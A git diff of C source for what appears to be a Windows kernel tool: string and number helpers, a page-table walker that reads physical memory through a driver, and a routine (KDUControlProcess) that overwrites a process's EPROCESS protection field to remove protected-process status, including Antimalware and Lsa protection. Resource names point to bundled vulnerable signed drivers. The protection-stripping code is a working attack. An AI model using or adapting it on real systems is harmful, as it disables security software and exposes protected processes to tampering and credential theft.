if (ParamLen != NULL)
|
||||
*ParamLen = 0;
|
||||
|
||||
if (CmdLine == NULL) {
|
||||
if ((Buffer != NULL) && (BufferSize > 0))
|
||||
*Buffer = 0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (c = 0; c <= ParamIndex; c++) {
|
||||
plen = 0;
|
||||
|
||||
while (*CmdLine == ' ')
|
||||
CmdLine++;
|
||||
|
||||
switch (*CmdLine) {
|
||||
case 0:
|
||||
goto zero_term_exit;
|
||||
|
||||
case '"':
|
||||
CmdLine++;
|
||||
divider = '"';
|
||||
break;
|
||||
|
||||
default:
|
||||
divider = ' ';
|
||||
}
|
||||
|
||||
while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) {
|
||||
plen++;
|
||||
if (c == ParamIndex)
|
||||
if ((plen < BufferSize) && (Buffer != NULL)) {
|
||||
*Buffer = *CmdLine;
|
||||
Buffer++;
|
||||
}
|
||||
CmdLine++;
|
||||
}
|
||||
|
||||
if (*CmdLine != 0)
|
||||
CmdLine++;
|
||||
}
|
||||
|
||||
zero_term_exit:
|
||||
|
||||
if ((Buffer != NULL) && (BufferSize > 0))
|
||||
*Buffer = 0;
|
||||
|
||||
if (ParamLen != NULL)
|
||||
*ParamLen = plen;
|
||||
|
||||
if (plen < BufferSize)
|
||||
return TRUE;
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL GetCommandLineParamA(
|
||||
IN LPCSTR CmdLine,
|
||||
IN ULONG ParamIndex,
|
||||
OUT LPSTR Buffer,
|
||||
IN ULONG BufferSize,
|
||||
OUT PULONG ParamLen
|
||||
)
|
||||
{
|
||||
ULONG c, plen = 0;
|
||||
TCHAR divider;
|
||||
|
||||
if (CmdLine == NULL)
|
||||
return FALSE;
|
||||
|
||||
if (ParamLen != NULL)
|
||||
*ParamLen = 0;
|
||||
|
||||
for (c = 0; c <= ParamIndex; c++) {
|
||||
plen = 0;
|
||||
|
||||
while (*CmdLine == ' ')
|
||||
CmdLine++;
|
||||
|
||||
switch (*CmdLine) {
|
||||
case 0:
|
||||
goto zero_term_exit;
|
||||
|
||||
case '"':
|
||||
CmdLine++;
|
||||
divider = '"';
|
||||
break;
|
||||
|
||||
default:
|
||||
divider = ' ';
|
||||
}
|
||||
|
||||
while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) {
|
||||
plen++;
|
||||
if (c == ParamIndex)
|
||||
if ((plen < BufferSize) && (Buffer != NULL)) {
|
||||
*Buffer = *CmdLine;
|
||||
Buffer++;
|
||||
}
|
||||
CmdLine++;
|
||||
}
|
||||
|
||||
if (*CmdLine != 0)
|
||||
CmdLine++;
|
||||
}
|
||||
|
||||
zero_term_exit:
|
||||
|
||||
if ((Buffer != NULL) && (BufferSize > 0))
|
||||
*Buffer = 0;
|
||||
|
||||
if (ParamLen != NULL)
|
||||
*ParamLen = plen;
|
||||
|
||||
if (plen < BufferSize)
|
||||
return TRUE;
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
char *ExtractFilePathA(const char *FileName, char *FilePath)
|
||||
{
|
||||
char *p = (char *)FileName, *p0 = (char *)FileName;
|
||||
|
||||
if ((FileName == 0) || (FilePath == 0))
|
||||
return 0;
|
||||
|
||||
while (*FileName != 0) {
|
||||
if (*FileName == '\\')
|
||||
p = (char *)FileName + 1;
|
||||
FileName++;
|
||||
}
|
||||
|
||||
while (p0 < p) {
|
||||
*FilePath = *p0;
|
||||
FilePath++;
|
||||
p0++;
|
||||
}
|
||||
|
||||
*FilePath = 0;
|
||||
|
||||
return FilePath;
|
||||
}
|
||||
|
||||
wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath)
|
||||
{
|
||||
wchar_t *p = (wchar_t *)FileName, *p0 = (wchar_t *)FileName;
|
||||
|
||||
if ((FileName == 0) || (FilePath == 0))
|
||||
return 0;
|
||||
|
||||
while (*FileName != 0) {
|
||||
if (*FileName == '\\')
|
||||
p = (wchar_t *)FileName + 1;
|
||||
FileName++;
|
||||
}
|
||||
|
||||
while (p0 < p) {
|
||||
*FilePath = *p0;
|
||||
FilePath++;
|
||||
p0++;
|
||||
}
|
||||
|
||||
*FilePath = 0;
|
||||
|
||||
return FilePath;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
#ifndef _CMDLINEH_
|
||||
#define _CMDLINEH_
|
||||
|
||||
BOOL GetCommandLineParamW(
|
||||
IN LPCWSTR CmdLine,
|
||||
IN ULONG ParamIndex,
|
||||
OUT LPWSTR Buffer,
|
||||
IN ULONG BufferSize,
|
||||
OUT PULONG ParamLen
|
||||
);
|
||||
|
||||
BOOL GetCommandLineParamA(
|
||||
IN LPCSTR CmdLine,
|
||||
IN ULONG ParamIndex,
|
||||
OUT LPSTR Buffer,
|
||||
IN ULONG BufferSize,
|
||||
OUT PULONG ParamLen
|
||||
);
|
||||
|
||||
char *ExtractFilePathA(const char *FileName, char *FilePath);
|
||||
wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath);
|
||||
|
||||
#ifdef UNICODE
|
||||
|
||||
#define ExtractFilePath ExtractFilePathW
|
||||
#define GetCommandLineParam GetCommandLineParamW
|
||||
|
||||
#else // ANSI
|
||||
|
||||
#define ExtractFilePath ExtractFilePathA
|
||||
#define GetCommandLineParam GetCommandLineParamA
|
||||
|
||||
#endif
|
||||
|
||||
#endif /* _CMDLINEH_ */
|
|
@ -0,0 +1,159 @@
|
|||
/*
|
||||
Module name:
|
||||
minirtl.h
|
||||
|
||||
Description:
|
||||
header for string handling and conversion routines
|
||||
|
||||
Date:
|
||||
1 Mar 2015
|
||||
*/
|
||||
|
||||
#ifndef _MINIRTL_
|
||||
#define _MINIRTL_
|
||||
|
||||
// string copy/concat/length
|
||||
|
||||
char *_strend_a(const char *s);
|
||||
wchar_t *_strend_w(const wchar_t *s);
|
||||
|
||||
char *_strcpy_a(char *dest, const char *src);
|
||||
wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src);
|
||||
|
||||
char *_strcat_a(char *dest, const char *src);
|
||||
wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src);
|
||||
|
||||
char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc);
|
||||
wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc);
|
||||
|
||||
char *_strcpyn_a(char* dest, const char* src, size_t n);
|
||||
wchar_t *_strcpyn_w(wchar_t* dest, const wchar_t* src, size_t n);
|
||||
|
||||
size_t _strlen_a(const char *s);
|
||||
size_t _strlen_w(const wchar_t *s);
|
||||
|
||||
// comparing
|
||||
|
||||
int _strcmp_a(const char *s1, const char *s2);
|
||||
int _strcmp_w(const wchar_t *s1, const wchar_t *s2);
|
||||
|
||||
int _strncmp_a(const char *s1, const char *s2, size_t cchars);
|
||||
int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars);
|
||||
|
||||
int _strcmpi_a(const char *s1, const char *s2);
|
||||
int _strcmpi_w(const wchar_t *s1, const wchar_t *s2);
|
||||
|
||||
int _strncmpi_a(const char *s1, const char *s2, size_t cchars);
|
||||
int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars);
|
||||
|
||||
char *_strstr_a(const char *s, const char *sub_s);
|
||||
wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s);
|
||||
|
||||
char *_strstri_a(const char *s, const char *sub_s);
|
||||
wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s);
|
||||
|
||||
// conversion of integer types to string, returning string length
|
||||
|
||||
size_t ultostr_a(unsigned long x, char *s);
|
||||
size_t ultostr_w(unsigned long x, wchar_t *s);
|
||||
|
||||
size_t ultohex_a(unsigned long x, char *s);
|
||||
size_t ultohex_w(unsigned long x, wchar_t *s);
|
||||
|
||||
size_t itostr_a(int x, char *s);
|
||||
size_t itostr_w(int x, wchar_t *s);
|
||||
|
||||
size_t i64tostr_a(signed long long x, char *s);
|
||||
size_t i64tostr_w(signed long long x, wchar_t *s);
|
||||
|
||||
size_t u64tostr_a(unsigned long long x, char *s);
|
||||
size_t u64tostr_w(unsigned long long x, wchar_t *s);
|
||||
|
||||
size_t u64tohex_a(unsigned long long x, char *s);
|
||||
size_t u64tohex_w(unsigned long long x, wchar_t *s);
|
||||
|
||||
// string to integers conversion
|
||||
|
||||
unsigned long strtoul_a(char *s);
|
||||
unsigned long strtoul_w(wchar_t *s);
|
||||
|
||||
unsigned long long strtou64_a(char *s);
|
||||
unsigned long long strtou64_w(wchar_t *s);
|
||||
|
||||
unsigned long hextoul_a(char *s);
|
||||
unsigned long hextoul_w(wchar_t *s);
|
||||
|
||||
int strtoi_a(char *s);
|
||||
int strtoi_w(wchar_t *s);
|
||||
|
||||
signed long long strtoi64_a(char *s);
|
||||
signed long long strtoi64_w(wchar_t *s);
|
||||
|
||||
unsigned long long hextou64_a(char *s);
|
||||
unsigned long long hextou64_w(wchar_t *s);
|
||||
|
||||
/* =================================== */
|
||||
|
||||
#ifdef UNICODE
|
||||
|
||||
#define _strend _strend_w
|
||||
#define _strcpy _strcpy_w
|
||||
#define _strcat _strcat_w
|
||||
#define _strlen _strlen_w
|
||||
#define _strncpy _strncpy_w
|
||||
#define _strcpyn _strcpyn_w
|
||||
|
||||
#define _strcmp _strcmp_w
|
||||
#define _strncmp _strncmp_w
|
||||
#define _strcmpi _strcmpi_w
|
||||
#define _strncmpi _strncmpi_w
|
||||
#define _strstr _strstr_w
|
||||
#define _strstri _strstri_w
|
||||
|
||||
#define ultostr ultostr_w
|
||||
#define ultohex ultohex_w
|
||||
#define itostr itostr_w
|
||||
#define i64tostr i64tostr_w
|
||||
#define u64tostr u64tostr_w
|
||||
#define u64tohex u64tohex_w
|
||||
|
||||
#define strtoul strtoul_w
|
||||
#define hextoul hextoul_w
|
||||
#define strtoi strtoi_w
|
||||
#define strtoi64 strtoi64_w
|
||||
#define strtou64 strtou64_w
|
||||
#define hextou64 hextou64_w
|
||||
|
||||
#else // ANSI
|
||||
|
||||
#define _strend _strend_a
|
||||
#define _strcpy _strcpy_a
|
||||
#define _strcat _strcat_a
|
||||
#define _strlen _strlen_a
|
||||
#define _strncpy _strncpy_a
|
||||
#define _strcpyn _strcpyn_a
|
||||
|
||||
#define _strcmp _strcmp_a
|
||||
#define _strncmp _strncmp_a
|
||||
#define _strcmpi _strcmpi_a
|
||||
#define _strncmpi _strncmpi_a
|
||||
#define _strstr _strstr_a
|
||||
#define _strstri _strstri_a
|
||||
|
||||
#define ultostr ultostr_a
|
||||
#define ultohex ultohex_a
|
||||
#define itostr itostr_a
|
||||
#define i64tostr i64tostr_a
|
||||
#define u64tostr u64tostr_a
|
||||
#define u64tohex u64tohex_a
|
||||
|
||||
#define strtoul strtoul_a
|
||||
#define hextoul hextoul_a
|
||||
#define strtoi strtoi_a
|
||||
#define strtoi64 strtoi64_a
|
||||
#define strtou64 strtou64_a
|
||||
#define hextou64 hextou64_a
|
||||
|
||||
#endif
|
||||
|
||||
#endif /* _MINIRTL_ */
|
|
@ -0,0 +1,43 @@
|
|||
#ifndef _WCHAR_T_DEFINED
|
||||
typedef unsigned short wchar_t;
|
||||
#define _WCHAR_T_DEFINED
|
||||
#endif /* _WCHAR_T_DEFINED */
|
||||
|
||||
#ifndef _SIZE_T_DEFINED
|
||||
#ifdef _WIN64
|
||||
typedef unsigned __int64 size_t;
|
||||
#else /* _WIN64 */
|
||||
typedef __w64 unsigned int size_t;
|
||||
#endif /* _WIN64 */
|
||||
#define _SIZE_T_DEFINED
|
||||
#endif /* _SIZE_T_DEFINED */
|
||||
|
||||
__forceinline char locase_a(char c)
|
||||
{
|
||||
if ((c >= 'A') && (c <= 'Z'))
|
||||
return c + 0x20;
|
||||
else
|
||||
return c;
|
||||
}
|
||||
|
||||
__forceinline wchar_t locase_w(wchar_t c)
|
||||
{
|
||||
if ((c >= 'A') && (c <= 'Z'))
|
||||
return c + 0x20;
|
||||
else
|
||||
return c;
|
||||
}
|
||||
|
||||
__forceinline char byteabs(char x) {
|
||||
if (x < 0)
|
||||
return -x;
|
||||
return x;
|
||||
}
|
||||
|
||||
__forceinline int _isdigit_a(char x) {
|
||||
return ((x >= '0') && (x <= '9'));
|
||||
}
|
||||
|
||||
__forceinline int _isdigit_w(wchar_t x) {
|
||||
return ((x >= L'0') && (x <= L'9'));
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
unsigned long long strtou64_a(char *s)
|
||||
{
|
||||
unsigned long long a = 0;
|
||||
char c;
|
||||
|
||||
if (s == 0)
|
||||
return 0;
|
||||
|
||||
while (*s != 0) {
|
||||
c = *s;
|
||||
if (_isdigit_w(c))
|
||||
a = (a*10)+((unsigned long long)c-'0');
|
||||
else
|
||||
break;
|
||||
s++;
|
||||
}
|
||||
return a;
|
||||
}
|
||||
|
||||
unsigned long long strtou64_w(wchar_t *s)
|
||||
{
|
||||
unsigned long long a = 0;
|
||||
wchar_t c;
|
||||
|
||||
if (s == 0)
|
||||
return 0;
|
||||
|
||||
while (*s != 0) {
|
||||
c = *s;
|
||||
if (_isdigit_w(c))
|
||||
a = (a*10)+((unsigned long long)c-L'0');
|
||||
else
|
||||
break;
|
||||
s++;
|
||||
}
|
||||
return a;
|
||||
}
|
|
@ -0,0 +1,49 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
#define ULONG_MAX_VALUE 0xffffffffUL
|
||||
|
||||
unsigned long strtoul_a(char *s)
|
||||
{
|
||||
unsigned long long a = 0;
|
||||
char c;
|
||||
|
||||
if (s == 0)
|
||||
return 0;
|
||||
|
||||
while (*s != 0) {
|
||||
c = *s;
|
||||
if (_isdigit_a(c))
|
||||
a = (a*10)+(c-'0');
|
||||
else
|
||||
break;
|
||||
|
||||
if (a > ULONG_MAX_VALUE)
|
||||
return ULONG_MAX_VALUE;
|
||||
|
||||
s++;
|
||||
}
|
||||
return (unsigned long)a;
|
||||
}
|
||||
|
||||
unsigned long strtoul_w(wchar_t *s)
|
||||
{
|
||||
unsigned long long a = 0;
|
||||
wchar_t c;
|
||||
|
||||
if (s == 0)
|
||||
return 0;
|
||||
|
||||
while (*s != 0) {
|
||||
c = *s;
|
||||
if (_isdigit_w(c))
|
||||
a = (a * 10) + (c - L'0');
|
||||
else
|
||||
break;
|
||||
|
||||
if (a > ULONG_MAX_VALUE)
|
||||
return ULONG_MAX_VALUE;
|
||||
|
||||
s++;
|
||||
}
|
||||
return (unsigned long)a;
|
||||
}
|
|
@ -0,0 +1,49 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
size_t u64tohex_a(unsigned long long x, char *s)
|
||||
{
|
||||
char p;
|
||||
size_t c;
|
||||
|
||||
if (s==0)
|
||||
return 16;
|
||||
|
||||
for (c=0; c<16; c++) {
|
||||
p = (char)(x & 0xf);
|
||||
x >>= 4;
|
||||
|
||||
if (p<10)
|
||||
p += '0';
|
||||
else
|
||||
p = 'A' + (p-10);
|
||||
|
||||
s[15-c] = p;
|
||||
}
|
||||
|
||||
s[16] = 0;
|
||||
return 16;
|
||||
}
|
||||
|
||||
size_t u64tohex_w(unsigned long long x, wchar_t *s)
|
||||
{
|
||||
wchar_t p;
|
||||
size_t c;
|
||||
|
||||
if (s==0)
|
||||
return 16;
|
||||
|
||||
for (c = 0; c<16; c++) {
|
||||
p = (wchar_t)(x & 0xf);
|
||||
x >>= 4;
|
||||
|
||||
if (p<10)
|
||||
p += L'0';
|
||||
else
|
||||
p = L'A' + (p-10);
|
||||
|
||||
s[15-c] = p;
|
||||
}
|
||||
|
||||
s[16] = 0;
|
||||
return 16;
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,85 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018 - 2020
|
||||
*
|
||||
* TITLE: PAGEWALK.C
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Function to translate virtual to physical addresses, x86-64.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
|
||||
#define PHY_ADDRESS_MASK 0x000ffffffffff000ull
|
||||
#define PHY_ADDRESS_MASK_2MB_PAGES 0x000fffffffe00000ull
|
||||
#define VADDR_ADDRESS_MASK_2MB_PAGES 0x00000000001fffffull
|
||||
#define VADDR_ADDRESS_MASK_4KB_PAGES 0x0000000000000fffull
|
||||
#define ENTRY_PRESENT_BIT 1
|
||||
#define ENTRY_PAGE_SIZE_BIT 0x0000000000000080ull
|
||||
|
||||
int EntryToPhyAddr(ULONG_PTR entry, ULONG_PTR* phyaddr)
|
||||
{
|
||||
if (entry & ENTRY_PRESENT_BIT) {
|
||||
*phyaddr = entry & PHY_ADDRESS_MASK;
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL PwVirtualToPhysical(
|
||||
_In_ KDU_CONTEXT *Context,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress)
|
||||
{
|
||||
KDU_PROVIDER* prov = Context->Provider;
|
||||
ULONG_PTR reg_cr3, selector, table, entry;
|
||||
INT r, shift;
|
||||
|
||||
if (prov->Callbacks.ReadControlRegister(Context->DeviceHandle,
|
||||
3,
|
||||
®_cr3) == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
table = reg_cr3 & PHY_ADDRESS_MASK;
|
||||
|
||||
for (r = 0; r < 4; r++) {
|
||||
|
||||
shift = 39 - (r * 9);
|
||||
selector = (VirtualAddress >> shift) & 0x1ff;
|
||||
|
||||
if (prov->Callbacks.ReadPhysicalMemory(Context->DeviceHandle,
|
||||
table + selector * 8,
|
||||
&entry,
|
||||
sizeof(ULONG_PTR)) == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (EntryToPhyAddr(entry, &table) == 0)
|
||||
return 0;
|
||||
|
||||
if ((r == 2) && ((entry & ENTRY_PAGE_SIZE_BIT) != 0)) {
|
||||
table &= PHY_ADDRESS_MASK_2MB_PAGES;
|
||||
table += VirtualAddress & VADDR_ADDRESS_MASK_2MB_PAGES;
|
||||
*PhysicalAddress = table;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
table += VirtualAddress & VADDR_ADDRESS_MASK_4KB_PAGES;
|
||||
*PhysicalAddress = table;
|
||||
|
||||
return 1;
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018 - 2020
|
||||
*
|
||||
* TITLE: PAGEWALK.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Page table translation prototypes.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
BOOL PwVirtualToPhysical(
|
||||
_In_ KDU_CONTEXT* Context,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress);
|
|
@ -0,0 +1,230 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018 - 2020
|
||||
*
|
||||
* TITLE: PS.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Processes DKOM related routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
|
||||
LPSTR KDUGetProtectionTypeAsString(
|
||||
_In_ ULONG Type
|
||||
)
|
||||
{
|
||||
LPSTR pStr;
|
||||
|
||||
switch (Type) {
|
||||
|
||||
case PsProtectedTypeNone:
|
||||
pStr = (LPSTR)"PsProtectedTypeNone";
|
||||
break;
|
||||
case PsProtectedTypeProtectedLight:
|
||||
pStr = (LPSTR)"PsProtectedTypeProtectedLight";
|
||||
break;
|
||||
case PsProtectedTypeProtected:
|
||||
pStr = (LPSTR)"PsProtectedTypeProtected";
|
||||
break;
|
||||
default:
|
||||
pStr = (LPSTR)"Unknown Type";
|
||||
break;
|
||||
}
|
||||
|
||||
return pStr;
|
||||
}
|
||||
|
||||
LPSTR KDUGetProtectionSignerAsString(
|
||||
_In_ ULONG Signer
|
||||
)
|
||||
{
|
||||
LPSTR pStr;
|
||||
|
||||
switch (Signer) {
|
||||
case PsProtectedSignerNone:
|
||||
pStr = (LPSTR)"PsProtectedSignerNone";
|
||||
break;
|
||||
case PsProtectedSignerAuthenticode:
|
||||
pStr = (LPSTR)"PsProtectedSignerAuthenticode";
|
||||
break;
|
||||
case PsProtectedSignerCodeGen:
|
||||
pStr = (LPSTR)"PsProtectedSignerCodeGen";
|
||||
break;
|
||||
case PsProtectedSignerAntimalware:
|
||||
pStr = (LPSTR)"PsProtectedSignerAntimalware";
|
||||
break;
|
||||
case PsProtectedSignerLsa:
|
||||
pStr = (LPSTR)"PsProtectedSignerLsa";
|
||||
break;
|
||||
case PsProtectedSignerWindows:
|
||||
pStr = (LPSTR)"PsProtectedSignerWindows";
|
||||
break;
|
||||
case PsProtectedSignerWinTcb:
|
||||
pStr = (LPSTR)"PsProtectedSignerWinTcb";
|
||||
break;
|
||||
case PsProtectedSignerWinSystem:
|
||||
pStr = (LPSTR)"PsProtectedSignerWinSystem";
|
||||
break;
|
||||
case PsProtectedSignerApp:
|
||||
pStr = (LPSTR)"PsProtectedSignerApp";
|
||||
break;
|
||||
default:
|
||||
pStr = (LPSTR)"Unknown Value";
|
||||
break;
|
||||
}
|
||||
|
||||
return pStr;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUControlProcess
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Modify process object to remove PsProtectedProcess access restrictions.
|
||||
*
|
||||
*/
|
||||
BOOL KDUControlProcess(
|
||||
_In_ PKDU_CONTEXT Context,
|
||||
_In_ ULONG_PTR ProcessId)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
ULONG Buffer;
|
||||
NTSTATUS ntStatus;
|
||||
ULONG_PTR ProcessObject = 0, VirtualAddress = 0, Offset = 0;
|
||||
HANDLE hProcess = NULL;
|
||||
|
||||
CLIENT_ID clientId;
|
||||
OBJECT_ATTRIBUTES obja;
|
||||
|
||||
PS_PROTECTION* PsProtection;
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
InitializeObjectAttributes(&obja, NULL, 0, 0, 0);
|
||||
|
||||
clientId.UniqueProcess = (HANDLE)ProcessId;
|
||||
clientId.UniqueThread = NULL;
|
||||
|
||||
ntStatus = NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION,
|
||||
&obja, &clientId);
|
||||
|
||||
if (NT_SUCCESS(ntStatus)) {
|
||||
|
||||
printf_s("[+] Process with PID %llu opened (PROCESS_QUERY_LIMITED_INFORMATION)\r\n", ProcessId);
|
||||
supQueryObjectFromHandle(hProcess, &ProcessObject);
|
||||
|
||||
if (ProcessObject != 0) {
|
||||
|
||||
printf_s("[+] Process object (EPROCESS) found, 0x%llX\r\n", ProcessObject);
|
||||
|
||||
switch (Context->NtBuildNumber) {
|
||||
case 9600:
|
||||
Offset = PsProtectionOffset_9600;
|
||||
break;
|
||||
case 10240:
|
||||
Offset = PsProtectionOffset_10240;
|
||||
break;
|
||||
case 10586:
|
||||
Offset = PsProtectionOffset_10586;
|
||||
break;
|
||||
case 14393:
|
||||
Offset = PsProtectionOffset_14393;
|
||||
break;
|
||||
case 15063:
|
||||
case 16299:
|
||||
case 17134:
|
||||
case 17763:
|
||||
case 18362:
|
||||
case 18363:
|
||||
Offset = PsProtectionOffset_15063;
|
||||
break;
|
||||
default:
|
||||
Offset = PsProtectionOffset_19037;
|
||||
break;
|
||||
}
|
||||
|
||||
if (Offset == 0) {
|
||||
printf_s("[!] Unsupported WinNT version\r\n");
|
||||
}
|
||||
else {
|
||||
|
||||
VirtualAddress = EPROCESS_TO_PROTECTION(ProcessObject, Offset);
|
||||
|
||||
printf_s("[+] EPROCESS->PS_PROTECTION, 0x%llX\r\n", VirtualAddress);
|
||||
|
||||
Buffer = 0;
|
||||
if (KDUReadKernelVM(Context, VirtualAddress, &Buffer, sizeof(ULONG))) {
|
||||
|
||||
PsProtection = (PS_PROTECTION*)&Buffer;
|
||||
|
||||
LPSTR pStr;
|
||||
|
||||
|
||||
printf_s("[+] Kernel memory read succeeded\r\n");
|
||||
|
||||
pStr = KDUGetProtectionTypeAsString(PsProtection->Type);
|
||||
printf_s("\tPsProtection->Type: %lu (%s)\r\n",
|
||||
PsProtection->Type,
|
||||
pStr);
|
||||
|
||||
printf_s("\tPsProtection->Audit: %lu\r\n", PsProtection->Audit);
|
||||
|
||||
pStr = KDUGetProtectionSignerAsString(PsProtection->Signer);
|
||||
printf_s("\tPsProtection->Signer: %lu (%s)\r\n",
|
||||
PsProtection->Signer,
|
||||
pStr);
|
||||
|
||||
PsProtection->Signer = PsProtectedSignerNone;
|
||||
PsProtection->Type = PsProtectedTypeNone;
|
||||
PsProtection->Audit = 0;
|
||||
|
||||
bResult = KDUWriteKernelVM(Context, VirtualAddress, &Buffer, sizeof(ULONG));
|
||||
if (bResult) {
|
||||
printf_s("[+] Process object modified\r\n");
|
||||
|
||||
pStr = KDUGetProtectionTypeAsString(PsProtection->Type);
|
||||
printf_s("\tNew PsProtection->Type: %lu (%s)\r\n",
|
||||
PsProtection->Type,
|
||||
pStr);
|
||||
|
||||
pStr = KDUGetProtectionSignerAsString(PsProtection->Signer);
|
||||
printf_s("\tNew PsProtection->Signer: %lu (%s)\r\n",
|
||||
PsProtection->Signer,
|
||||
pStr);
|
||||
|
||||
printf_s("\tNew PsProtection->Audit: %lu\r\n", PsProtection->Audit);
|
||||
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Cannot modify process object\r\n");
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Cannot read kernel memory\r\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Cannot query process object\r\n");
|
||||
}
|
||||
NtClose(hProcess);
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Cannot open target process, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
}
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
|
||||
return bResult;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018 - 2020
|
||||
*
|
||||
* TITLE: PS.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 07 Jan 2020
|
||||
*
|
||||
* Processes support prototypes and definitions.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
#define PsProtectionOffset_9600 (ULONG_PTR)0x67A
|
||||
#define PsProtectionOffset_10240 (ULONG_PTR)0x6AA
|
||||
#define PsProtectionOffset_10586 (ULONG_PTR)0x6B2
|
||||
#define PsProtectionOffset_14393 (ULONG_PTR)0x6C2
|
||||
#define PsProtectionOffset_15063 (ULONG_PTR)0x6CA //same for 16299, 17134, 17763
|
||||
#define PsProtectionOffset_18362 (ULONG_PTR)0x6FA
|
||||
#define PsProtectionOffset_18363 (ULONG_PTR)0x6FA
|
||||
#define PsProtectionOffset_19037 (ULONG_PTR)0x87A;
|
||||
|
||||
#define EPROCESS_TO_PROTECTION(Object, PsProtectionOffset) ((ULONG_PTR)Object + (ULONG_PTR)PsProtectionOffset)
|
||||
|
||||
BOOL KDUControlProcess(
|
||||
_In_ PKDU_CONTEXT Context,
|
||||
_In_ ULONG_PTR ProcessId);
|
Binary file not shown.
After Width: | Height: | Size: 22 KiB |
|
@ -0,0 +1,19 @@
|
|||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by resource.rc
|
||||
//
|
||||
#define IDR_PROCEXP 100
|
||||
#define IDR_iQVM64 103
|
||||
#define IDR_RTCORE64 105
|
||||
#define IDI_ICON1 107
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
